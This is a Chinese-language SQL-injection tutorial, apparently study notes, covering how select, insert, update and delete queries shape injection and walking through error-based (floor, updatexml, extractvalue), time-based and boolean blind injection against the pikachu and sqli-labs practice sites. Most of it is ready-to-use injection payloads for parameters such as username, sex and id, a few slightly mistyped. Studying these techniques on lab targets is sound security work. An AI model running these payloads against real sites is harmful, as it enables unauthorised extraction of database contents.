16 web漏洞,SQL注入之查询方式及报错盲注
? 当进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显 的原因可能是 SQL 语句查询方式的问题导致,这个时候我们需要用到相 关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其 SQL 语句大概写法也能更好的选择对应的注入语句

常用sql语句
select 查询数据
在网站应用中进行数据显示查询效果
例: select * from news wher id=$id
insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,’$t’)
delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=’$p’ where id=2 and username=‘admin’
order by 排列数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的SQL查询方式
例如:

注册页面,则为插入数据库的操作

select查询方式的注入
需要闭合单引号

insert注入
语句不同,注入的写法不同
SQL注入—盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
基于时间的SQL盲注-延时判断
if,sleep
基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
优先使用报错回显
参考文档:https://www.jianshu.com/p/bc35f8dd4f7c
基于报错的SQL盲注-报错回显
pikachu靶场insert/update注入
insert/update注入
注册进行数据包抓取

修改username,加一个单引号

报错
通过一般注入语句注入失败
在mysql中验证

执行sql语句没有回显,只会显示失败与否

floor语句
username= x’ or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ’
查询数据库版本

查询数据库名

查询用户

updatexml语句
语句
username=x’ or updatexml(1,concat(0x7e,(version())),0) or’
爆出版本信息

extractvalue语句
username=x’ or extractvalue(1,concat(0x7e,database())) or’

update注入

也是没有回显的注入
floor语句
*sex=’ or (select 1 from(select count(*),concat(floor(rand(0)2),0x7e, (database()),0x7e)x from information_schema.character_sets group by x)a) or ’

updatexml语句
sex=’ or updatexml(1,concat(0x7e,(version())),0) or’

extractvalue语句
sex=’ or extractvalue(1,concat(0x7e,database())) or '

pikachu靶场delete注入 
进行留言删除操作,删除则使用了sql语句的delete
删除抓包

进行注入
floor语句
*id=58+or+select+1+from(select+count(*),concat(floor(rand(0)2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

updatexml语句
id=56+or+updatexml+(1,concat(0x7e,database()),0)

extractvalue语句
id=56+or+extractvalue(1,concat(0x7e,database()))

基于时间的SQL盲注-延时判断
sleep()函数
? 通过在MySQL中执行select sleep(N)可以让此语句运行N秒钟
正常查询所需时间

sleep(1)所需时间

if()函数
? if(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,
则返回expr3的值。

sleep(if(database()=“pikachu”,5,0))
如果数据库为pikachu,则延时5s

基于布尔的SQL盲注-逻辑判断
sqllibs第二关
?id=1 and sleep(if(database()=‘a’,0,10))

加载页面会有10s延迟
一步一步爆破太慢,可以先猜解数据库名长度,然后再一位一位来
?id=1 and sleep(if(length(database())=8,5,0))–+
如果数据库名长度为8,则延迟5s
?id=1 and sleep(if(mid(database(),1,1)=‘s’,5,0))–+
判断数据库名第一位是否是s,是则延迟5S
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+
第一个表名的第一位是否为e,是则延迟3S
limit 0,1 控制个数 limit1,1则为第二个表名
参考:
like 'ro%' #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b, c) #从位置 b 开始,截取 a 字符串的第 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97
|